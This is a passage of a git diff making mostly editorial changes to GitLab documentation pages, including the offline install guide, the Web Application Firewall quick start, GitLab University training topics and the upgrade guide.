[union merge driver](https://git-scm.com/docs/gitattributes#gitattributes-union) so that multiple new entries don't conflict with each other. @@ -268,7 +268,7 @@ One option is to use continuous integration (CI) to merge in `master` at the sta Another option is to only merge in from well-defined points in time, for example, a tagged release. You could also use [feature toggles](https://martinfowler.com/bliki/FeatureToggle.html) to hide incomplete features so you can still merge back into `master` every day. -NOTE: **Note:** +NOTE: Don't confuse automatic branch testing with continuous integration. Martin Fowler makes this distinction in [his article about feature branches](https://martinfowler.com/bliki/FeatureBranch.html): "I've heard people say they are doing CI because they are running builds, perhaps using a CI server, on every branch with every commit. diff --git a/doc/topics/index.md b/doc/topics/index.md index 91b1905f1b6..276cb07c250 100644 --- a/doc/topics/index.md +++ b/doc/topics/index.md @@ -1,15 +1,15 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Topics Welcome to Topics! We have organized our content resources into topics to get you started on areas of your interest. Each topic page -consists of an index listing all related content. It will guide -you through better understanding GitLab's concepts +consists of an index listing all related content. It guides +you through better understanding GitLab concepts through our regular docs, and, when available, through articles (guides, tutorials, technical overviews, blog posts) and videos. diff --git a/doc/topics/offline/index.md b/doc/topics/offline/index.md index b40f5e92738..df6e1f9491e 100644 --- a/doc/topics/offline/index.md +++ b/doc/topics/offline/index.md @@ -1,7 +1,7 @@ --- -stage: none -group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +stage: Enablement +group: Distribution +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Offline GitLab @@ -16,6 +16,6 @@ If you plan to deploy a GitLab instance on a physically-isolated and offline net ## Features -Follow these best practices to use GitLab's features in an offline environment: +Follow these best practices to use GitLab features in an offline environment: - [Operating the GitLab Secure scanners in an offline environment](../../user/application_security/offline_deployments/index.md). diff --git a/doc/topics/offline/quick_start_guide.md b/doc/topics/offline/quick_start_guide.md index 92f8f9167b7..dd1ddeb31ff 100644 --- a/doc/topics/offline/quick_start_guide.md +++ b/doc/topics/offline/quick_start_guide.md @@ -1,7 +1,7 @@ --- -stage: none -group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +stage: Enablement +group: Distribution +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Getting started with an offline GitLab Installation @@ -11,22 +11,22 @@ instance entirely offline. ## Installation -NOTE: **Note:** +NOTE: This guide assumes the server is Ubuntu 18.04. Instructions for other servers may vary. This guide also assumes the server host resolves as `my-host`, which you should replace with your server's name. Follow the installation instructions [as outlined in the omnibus install guide](https://about.gitlab.com/install/#ubuntu), but make sure to specify an `http` -URL for the `EXTERNAL_URL` installation step. Once installed, we will manually +URL for the `EXTERNAL_URL` installation step. Once installed, we can manually configure the SSL ourselves. It is strongly recommended to setup a domain for IP resolution rather than bind to the server's IP address. This better ensures a stable target for our certs' CN -and will make long-term resolution simpler. +and makes long-term resolution simpler. ```shell -sudo EXTERNAL_URL="http://my-host.internal" install gitlab-ee +sudo EXTERNAL_URL="http://my-host.internal" apt-get install gitlab-ee ``` ## Enabling SSL diff --git a/doc/topics/web_application_firewall/index.md b/doc/topics/web_application_firewall/index.md index 83b3bfb1cef..1c1728d9277 100644 --- a/doc/topics/web_application_firewall/index.md +++ b/doc/topics/web_application_firewall/index.md @@ -1,7 +1,7 @@ --- stage: Protect group: Container Security -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- @@ -16,9 +16,9 @@ much more. ## Overview GitLab provides a WAF out of the box after Ingress is deployed. All you need to do is deploy your -application along with a service and Ingress resource. In GitLab's [Ingress](../../user/clusters/applications.md#ingress) +application along with a service and Ingress resource. In the GitLab [Ingress](../../user/clusters/applications.md#ingress) deployment, the [ModSecurity](https://modsecurity.org/) -module is loaded into Ingress-NGINX by default and monitors the traffic going to the applications +module is loaded into Ingress-NGINX by default and monitors the traffic to the applications which have an Ingress. The ModSecurity module runs with the [OWASP Core Rule Set (CRS)](https://coreruleset.org/) by default. The OWASP CRS detects and logs a wide range of common attacks. @@ -55,7 +55,7 @@ If you are using a self-managed instance of GitLab, you need to configure the [Google OAuth2 OmniAuth Provider](../../integration/google.md) before you can configure a cluster on GKE. Once this is set up, you can follow the steps on the [quick start guide](quick_start_guide.md) to get started. -NOTE: **Note:** +NOTE: This guide shows how the WAF can be deployed using Auto DevOps. The WAF is available by default to all applications no matter how they are deployed, as long as they are using Ingress. diff --git a/doc/topics/web_application_firewall/quick_start_guide.md b/doc/topics/web_application_firewall/quick_start_guide.md index 3df22854437..df355ff2413 100644 --- a/doc/topics/web_application_firewall/quick_start_guide.md +++ b/doc/topics/web_application_firewall/quick_start_guide.md @@ -1,50 +1,50 @@ --- stage: Protect group: Container Security -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Getting started with the Web Application Firewall -This is a step-by-step guide that will help you use GitLab's [Web Application Firewall](index.md) after +This is a step-by-step guide to help you use the GitLab [Web Application Firewall](index.md) after deploying a project hosted on GitLab.com to Google Kubernetes Engine using [Auto DevOps](../autodevops/index.md). -We will use GitLab's native Kubernetes integration, so you will not need +The GitLab native Kubernetes integration is used, so you do not need to create a Kubernetes cluster manually using the Google Cloud Platform console. -We will create and deploy a simple application that we create from a GitLab template. +A simple application is created and deployed based on a GitLab template. -These instructions will also work for a self-managed GitLab instance. However, you will +These instructions also work for a self-managed GitLab instance. However, you need to ensure your own [runners are configured](../../ci/runners/README.md) and [Google OAuth is enabled](../../integration/google.md). -GitLab's Web Application Firewall is deployed with [Ingress](../../user/clusters/applications.md#ingress), -so it will be available to your applications no matter how you deploy them to Kubernetes. +The GitLab Web Application Firewall is deployed with [Ingress](../../user/clusters/applications.md#ingress), +so it is available to your applications no matter how you deploy them to Kubernetes. ## Configuring your Google account Before creating and connecting your Kubernetes cluster to your GitLab project, you need a Google Cloud Platform account. If you do not already have one, -sign up at <https://console.cloud.google.com>. You will need to either sign in with an existing +sign up at <https://console.cloud.google.com>. You need to either sign in with an existing Google account (for example, one that you use to access Gmail, Drive, etc.) or create a new one. 1. To enable the required APIs and related services, follow the steps in the ["Before you begin" section of the Kubernetes Engine docs](https://cloud.google.com/kubernetes-engine/docs/quickstart#before-you-begin). 1. Make sure you have created a [billing account](https://cloud.google.com/billing/docs/how-to/manage-billing-account). -TIP: **Tip:** +NOTE: Every new Google Cloud Platform (GCP) account receives [$300 in credit](https://console.cloud.google.com/freetrial), -and in partnership with Google, GitLab is able to offer an additional $200 for new GCP accounts to get started with GitLab's +and in partnership with Google, GitLab is able to offer an additional $200 for new GCP accounts to get started with the GitLab Google Kubernetes Engine integration. All you have to do is [follow this link](https://cloud.google.com/partners/partnercredit/?PCN=a0n60000006Vpz4AAC) and apply for credit. ## Creating a new project from a template -We will use one of GitLab's project templates to get started. As the name suggests, +We use a GitLab project templates to get started. As the name suggests, those projects provide a barebones application built on some well-known frameworks. 1. In GitLab, click the plus icon (**+**) at the top of the navigation bar and select **New project**. 1. Go to the **Create from template** tab where you can choose for example a Ruby on Rails, Spring, or NodeJS Express project. - We will use the Ruby on Rails template. + Use the Ruby on Rails template.  @@ -57,7 +57,7 @@ those projects provide a barebones application built on some well-known framewor 1. Click **Create project**. Now that the project is created, the next step is to create the Kubernetes cluster -under which this application will be deployed. +to deploy this application under. ## Creating a Kubernetes cluster from within GitLab @@ -76,9 +76,9 @@ under which this application will be deployed.  1. The last step is to provide the cluster details. - 1. Give it a name, leave the environment scope as is, and choose the GCP project under which the cluster - will be created (per the instructions to [configure your Google account](#configuring-your-google-account), a project should have already been created for you). - 1. Choose the [region/zone](https://cloud.google.com/compute/docs/regions-zones/) under which the cluster will be created. + 1. Give it a name, leave the environment scope as is, and choose the GCP project under which to create the cluster. + (Per the instructions to [configure your Google account](#configuring-your-google-account), a project should have already been created for you.) + 1. Choose the [region/zone](https://cloud.google.com/compute/docs/regions-zones/) to create the cluster in. 1. Enter the number of nodes you want it to have. 1. Choose the [machine type](https://cloud.google.com/compute/docs/machine-types). @@ -94,7 +94,7 @@ to take full advantage of Auto DevOps. ## Install Ingress -GitLab's Kubernetes integration comes with some +The GitLab Kubernetes integration comes with some [pre-defined applications](../../user/project/clusters/index.md#installing-applications) for you to install. @@ -111,14 +111,14 @@ auditing anomalous traffic, blocking mode ensures the traffic doesn't reach past After Ingress is installed, wait a few seconds and copy the IP address that is displayed in order to add in your base **Domain** at the top of the page. For -the purpose of this guide, we will use the one suggested by GitLab. Once you have +the purpose of this guide, we use the one suggested by GitLab. Once you have filled in the domain, click **Save changes**.  Prometheus should also be installed. It is an open-source monitoring and -alerting system that we will use to supervise the deployed application. -We will not install GitLab Runner as we will use the shared runners that +alerting system that is used to supervise the deployed application. +Installing GitLab Runner is not required as we use the shared runners that GitLab.com provides. ## Enabling Auto DevOps (optional) @@ -162,13 +162,13 @@ deploys the application in Kubernetes ([Auto Deploy](../autodevops/stages.md#aut The **production** stage creates Kubernetes objects like a Deployment, Service, and Ingress resource. The -application will be monitored by the WAF automatically. +application is monitored by the WAF automatically. ## Validating Ingress is running ModSecurity Now we can make sure that Ingress is running properly with ModSecurity and send a request to ensure our application is responding correctly. You must connect to -your cluster either using [Cloud Shell](https://cloud.google.com/shell/) or the [Google Cloud SDK](https://cloud.google.com/sdk/install). +your cluster either using [Cloud Shell](https://cloud.google.com/shell/) or the [Google Cloud SDK](https://cloud.google.com/sdk/docs/install). 1. After connecting to your cluster, check if the Ingress-NGINX controller is running and ModSecurity is enabled. @@ -201,7 +201,7 @@ your cluster either using [Cloud Shell](https://cloud.google.com/shell/) or the NAME HOSTS PORTS production-auto-deploy fjdiaz-auto-devv-2.34.68.60.207.nip.io,le-16730183.34.68.60.207.nip.io 80, 443 - $ curl --location --insecure fjdiaz-auto-devv-2.34.68.60.207.nip.io | grep 'Rails!' --after 2 --before 2 + $ curl --location --insecure "fjdiaz-auto-devv-2.34.68.60.207.nip.io" | grep 'Rails!' --after 2 --before 2 <body> <p>You're on Rails!</p> </body> @@ -216,7 +216,7 @@ Now let's send a potentially malicious request, as if we were a scanner, checking for vulnerabilities within our application and examine the ModSecurity logs: ```shell -$ curl --location --insecure fjdiaz-auto-devv-2.34.68.60.207.nip.io --header "User-Agent: absinthe" | grep 'Rails!' --after 2 --before 2 +$ curl --location --insecure "fjdiaz-auto-devv-2.34.68.60.207.nip.io" --header "User-Agent: absinthe" | grep 'Rails!' --after 2 --before 2 <body> <p>You're on Rails!</p> </body> diff --git a/doc/university/README.md b/doc/university/README.md index 1448d150a2c..7d6ecb536a6 100644 --- a/doc/university/README.md +++ b/doc/university/README.md @@ -1,7 +1,7 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments comments: false type: index --- @@ -12,7 +12,7 @@ GitLab University is a great place to start when learning about version control If you're looking for a GitLab subscription for _your university_, see our [GitLab for Education](https://about.gitlab.com/solutions/education/) page. -CAUTION: **Caution:** +WARNING: Some of the content in GitLab University may be out of date and we plan to [evaluate](https://gitlab.com/gitlab-org/gitlab/-/issues/20403) it. @@ -29,7 +29,7 @@ The GitLab University curriculum is composed of GitLab videos, screencasts, pres ### 1.1. Version Control and Git 1. [Version Control Systems](https://docs.google.com/presentation/d/16sX7hUrCZyOFbpvnrAFrg6tVO5_yT98IgdAqOmXwBho/edit#slide=id.g72f2e4906_2_29) -1. [Katakoda: Learn Git Version Control using Interactive Browser-Based Scenarios](https://www.katacoda.com/courses/git) +1. [Katacoda: Learn Git Version Control using Interactive Browser-Based Scenarios](https://www.katacoda.com/courses/git) ### 1.2. GitLab Basics @@ -51,7 +51,7 @@ The GitLab University curriculum is composed of GitLab videos, screencasts, pres 1. [Creating a Project in GitLab - Video](https://www.youtube.com/watch?v=7p0hrpNaJ14) 1. [How to Create Files and Directories](https://about.gitlab.com/blog/2016/02/10/feature-highlight-create-files-and-directories-from-files-page/) 1. [GitLab To-Do List](https://about.gitlab.com/blog/2016/03/02/gitlab-todos-feature-highlight/) -1. [GitLab's Work in Progress (WIP) Flag](https://about.gitlab.com/blog/2016/01/08/feature-highlight-wip/) +1. [GitLab Work in Progress (WIP) Flag](https://about.gitlab.com/blog/2016/01/08/feature-highlight-wip/) ### 1.5. Migrating from other Source Control @@ -143,7 +143,7 @@ The GitLab University curriculum is composed of GitLab videos, screencasts, pres ### 3.1. DevOps -1. [XebiaLabs: DevOps Terminology](https://xebialabs.com/glossary/) +1. [XebiaLabs: DevOps Terminology](https://digital.ai/glossary) 1. [XebiaLabs: Periodic Table of DevOps Tools](https://digital.ai/periodic-table-of-devops-tools) 1. [Puppet Labs: State of DevOps 2016 - Book](https://puppet.com/resources/report/2016-state-devops-report/) @@ -201,7 +201,7 @@ The GitLab University curriculum is composed of GitLab videos, screencasts, pres ## 5. Resources for GitLab Team Members -NOTE: **Note:** +NOTE: Some content can only be accessed by GitLab team members. 1. [Sales Path](https://about.gitlab.com/handbook/sales/onboarding/) diff --git a/doc/university/high-availability/aws/README.md b/doc/university/high-availability/aws/README.md index caaa0a3675b..cfaeea8f5c2 100644 --- a/doc/university/high-availability/aws/README.md +++ b/doc/university/high-availability/aws/README.md @@ -3,3 +3,6 @@ redirect_to: '../../../install/aws/index.md' --- This document was moved to [another location](../../../install/aws/index.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/university/training/gitlab_flow.md b/doc/university/training/gitlab_flow.md index ce6ee7e6561..f25bff03926 100644 --- a/doc/university/training/gitlab_flow.md +++ b/doc/university/training/gitlab_flow.md @@ -1,7 +1,7 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments comments: false type: reference --- diff --git a/doc/university/training/index.md b/doc/university/training/index.md index c8613e834b8..deae79e51b0 100644 --- a/doc/university/training/index.md +++ b/doc/university/training/index.md @@ -1,7 +1,7 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments comments: false type: index --- diff --git a/doc/university/training/topics/agile_git.md b/doc/university/training/topics/agile_git.md index 6cd5051261f..cb82d3cec64 100644 --- a/doc/university/training/topics/agile_git.md +++ b/doc/university/training/topics/agile_git.md @@ -1,7 +1,7 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments comments: false --- diff --git a/doc/university/training/topics/bisect.md b/doc/university/training/topics/bisect.md index 09274c1ce11..8af77031c93 100644 --- a/doc/university/training/topics/bisect.md +++ b/doc/university/training/topics/bisect.md @@ -1,7 +1,7 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments comments: false --- diff --git a/doc/university/training/topics/cherry_picking.md b/doc/university/training/topics/cherry_picking.md index 04b8f3b9a47..2f806ad2590 100644 --- a/doc/university/training/topics/cherry_picking.md +++ b/doc/university/training/topics/cherry_picking.md @@ -1,7 +1,7 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments comments: false --- diff --git a/doc/university/training/topics/env_setup.md b/doc/university/training/topics/env_setup.md index cbe2ce46be4..bd487731783 100644 --- a/doc/university/training/topics/env_setup.md +++ b/doc/university/training/topics/env_setup.md @@ -1,7 +1,7 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments comments: false --- @@ -12,7 +12,7 @@ comments: false - **Windows** - Install 'Git for Windows' from [Git for Windows](https://gitforwindows.org). - **Mac** - Type '`git`' in the Terminal application. - - If it's not installed, it will prompt you to install it. + - If it's not installed, it prompts you to install it. - **GNU/Linux** - Enter `which git` in the Terminal application and press <kbd>Enter</kbd> to determine if Git is installed on your system. diff --git a/doc/university/training/topics/explore_gitlab.md b/doc/university/training/topics/explore_gitlab.md index 8678f8fd9eb..584069aa7b0 100644 --- a/doc/university/training/topics/explore_gitlab.md +++ b/doc/university/training/topics/explore_gitlab.md @@ -3,3 +3,6 @@ redirect_to: '../../../gitlab-basics/README.md' --- This document was moved to [another location](../../../gitlab-basics/README.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/university/training/topics/feature_branching.md b/doc/university/training/topics/feature_branching.md index 45fad8f1894..f6233bddb18 100644 --- a/doc/university/training/topics/feature_branching.md +++ b/doc/university/training/topics/feature_branching.md @@ -1,7 +1,7 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments comments: false --- diff --git a/doc/university/training/topics/getting_started.md b/doc/university/training/topics/getting_started.md index 531d274249a..f5c91b94813 100644 --- a/doc/university/training/topics/getting_started.md +++ b/doc/university/training/topics/getting_started.md @@ -1,7 +1,7 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments comments: false --- diff --git a/doc/university/training/topics/git_add.md b/doc/university/training/topics/git_add.md index be66b1a14cc..d136b9151bc 100644 --- a/doc/university/training/topics/git_add.md +++ b/doc/university/training/topics/git_add.md @@ -1,7 +1,7 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments comments: false --- diff --git a/doc/university/training/topics/git_intro.md b/doc/university/training/topics/git_intro.md index 1ff436214b2..416d421956c 100644 --- a/doc/university/training/topics/git_intro.md +++ b/doc/university/training/topics/git_intro.md @@ -1,7 +1,7 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments comments: false --- diff --git a/doc/university/training/topics/git_log.md b/doc/university/training/topics/git_log.md index c62b5ad5a3c..ae4ae69ce76 100644 --- a/doc/university/training/topics/git_log.md +++ b/doc/university/training/topics/git_log.md @@ -1,7 +1,7 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments comments: false --- diff --git a/doc/university/training/topics/merge_conflicts.md b/doc/university/training/topics/merge_conflicts.md index 87cb119768f..66771559298 100644 --- a/doc/university/training/topics/merge_conflicts.md +++ b/doc/university/training/topics/merge_conflicts.md @@ -1,7 +1,7 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments comments: false --- @@ -42,7 +42,7 @@ git commit -am "add line6 and line7" git push origin master ``` -Create a merge request on the GitLab web UI. You'll see a conflict warning. +Create a merge request on the GitLab web UI, and a conflict warning displays. ```shell git checkout conflicts_branch diff --git a/doc/university/training/topics/merge_requests.md b/doc/university/training/topics/merge_requests.md index bda14dc342e..a4a3108ebd1 100644 --- a/doc/university/training/topics/merge_requests.md +++ b/doc/university/training/topics/merge_requests.md @@ -1,7 +1,7 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments comments: false --- diff --git a/doc/university/training/topics/rollback_commits.md b/doc/university/training/topics/rollback_commits.md index 47f28f8ef89..34c2d9687bb 100644 --- a/doc/university/training/topics/rollback_commits.md +++ b/doc/university/training/topics/rollback_commits.md @@ -1,7 +1,7 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments comments: false --- diff --git a/doc/university/training/topics/stash.md b/doc/university/training/topics/stash.md index db4a21da6ba..051103e5f4b 100644 --- a/doc/university/training/topics/stash.md +++ b/doc/university/training/topics/stash.md @@ -1,7 +1,7 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments comments: false --- @@ -55,7 +55,7 @@ and we need to change to a different branch. ``` - If we meet conflicts we need to either reset or commit our changes. -- Conflicts through `pop` will not drop a stash afterwards. +- Conflicts through `pop` doesn't drop a stash afterwards. ## Git Stash sample workflow diff --git a/doc/university/training/topics/subtree.md b/doc/university/training/topics/subtree.md index 779ebab1441..54461915a05 100644 --- a/doc/university/training/topics/subtree.md +++ b/doc/university/training/topics/subtree.md @@ -1,7 +1,7 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments comments: false --- diff --git a/doc/university/training/topics/tags.md b/doc/university/training/topics/tags.md index b2b8a085a77..ca438e04a55 100644 --- a/doc/university/training/topics/tags.md +++ b/doc/university/training/topics/tags.md @@ -1,7 +1,7 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments comments: false type: reference --- @@ -28,6 +28,8 @@ git tag my_lightweight_tag # Annotated tag git tag -a v1.0 -m ‘Version 1.0’ + +# Show list of the existing tags git tag git push origin --tags diff --git a/doc/university/training/topics/unstage.md b/doc/university/training/topics/unstage.md index 77aca3cdab8..7e7530aba75 100644 --- a/doc/university/training/topics/unstage.md +++ b/doc/university/training/topics/unstage.md @@ -1,13 +1,13 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments comments: false --- # Unstage -- To remove files from stage use reset HEAD where HEAD is the last commit of the current branch. This will unstage the file but maintain the modifications. +- To remove files from stage use reset HEAD where HEAD is the last commit of the current branch. This unstages the file but maintain the modifications. ```shell git reset HEAD <file> diff --git a/doc/university/training/user_training.md b/doc/university/training/user_training.md index 86f397eba41..ad8f094d185 100644 --- a/doc/university/training/user_training.md +++ b/doc/university/training/user_training.md @@ -1,7 +1,7 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments comments: false type: reference --- @@ -46,7 +46,7 @@ Use the tools at your disposal when you get stuck. - Mac: Type '`git`' in the Terminal application. -> If it's not installed, it will prompt you to install it. +> If it's not installed, it prompts you to install it. - Debian: '`sudo apt-get install git-all`' or Red Hat '`sudo yum install git-all`' @@ -235,7 +235,7 @@ See GitLab merge requests for examples: <https://gitlab.com/gitlab-org/gitlab-fo - Useful for marking deployments and releases. - Annotated tags are an unchangeable part of Git history. -- Soft/lightweight tags can be set and removed at will. +- Soft/lightweight tags can be set and removed at any time. - Many projects combine an annotated release tag with a stable branch. - Consider setting deployment/release tags automatically. diff --git a/doc/update/README.md b/doc/update/README.md index 0534d793613..45cac3ec8ca 100644 --- a/doc/update/README.md +++ b/doc/update/README.md @@ -1,7 +1,7 @@ --- stage: Enablement group: Distribution -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Upgrading GitLab @@ -33,7 +33,7 @@ official ways to update GitLab: ### Linux packages (Omnibus GitLab) The [Omnibus update guide](https://docs.gitlab.com/omnibus/update/) -contains the steps needed to update a package installed by GitLab's official +contains the steps needed to update a package installed by official GitLab repositories. There are also instructions when you want to @@ -109,7 +109,7 @@ Sidekiq::ScheduledSet.new.select { |r| r.klass == 'BackgroundMigrationWorker' }. ### What do I do if my background migrations are stuck? -CAUTION: **Warning:** +WARNING: The following operations can disrupt your GitLab performance. It is safe to re-execute these commands, especially if you have 1000+ pending jobs which would likely overflow your runtime memory. @@ -266,7 +266,7 @@ Below you can find some guides to help you change GitLab editions. ### Community to Enterprise Edition -NOTE: **Note:** +NOTE: The following guides are for subscribers of the Enterprise Edition only. If you wish to upgrade your GitLab installation from Community to Enterprise @@ -276,7 +276,7 @@ Edition, follow the guides below based on the installation method: to a version upgrade: stop the server, get the code, update configuration files for the new functionality, install libraries and do migrations, update the init script, start the application and check its status. -- [Omnibus CE to EE](https://docs.gitlab.com/omnibus/update/README.html#updating-community-edition-to-enterprise-edition) - Follow this guide to update your Omnibus +- [Omnibus CE to EE](https://docs.gitlab.com/omnibus/update/README.html#update-community-edition-to-enterprise-edition) - Follow this guide to update your Omnibus GitLab Community Edition to the Enterprise Edition. ### Enterprise to Community Edition @@ -310,6 +310,10 @@ installation-specific upgrade instructions, based on how you installed GitLab: - [Linux packages (Omnibus GitLab)](https://docs.gitlab.com/omnibus/update/README.html#version-specific-changes) - [Helm charts](https://docs.gitlab.com/charts/installation/upgrade.html) +NOTE: +Specific information that follow related to Ruby and Git versions do not apply to [Omnibus installations](https://docs.gitlab.com/omnibus/) +and [Helm Chart deployments](https://docs.gitlab.com/charts/). They come with appropriate Ruby and Git versions and are not using system binaries for Ruby and Git. There is no need to install Ruby or Git when utilizing these two approaches. + ### 13.6.0 Ruby 2.7.2 is required. GitLab will not start with Ruby 2.6.6 or older versions. diff --git a/doc/update/mysql_to_postgresql.md b/doc/update/mysql_to_postgresql.md index 10c1a5017b5..613df2c3a84 100644 --- a/doc/update/mysql_to_postgresql.md +++ b/doc/update/mysql_to_postgresql.md @@ -1,7 +1,7 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Migrating from MySQL to PostgreSQL @@ -11,7 +11,7 @@ migrate it to a PostgreSQL database. ## Requirements -NOTE: **Note:** +NOTE: Support for MySQL was removed in GitLab 12.1. This procedure should be performed **before** installing GitLab 12.1. @@ -51,7 +51,7 @@ For other distributions, follow the instructions in PostgreSQL's [download page](https://www.postgresql.org/download/) to add their 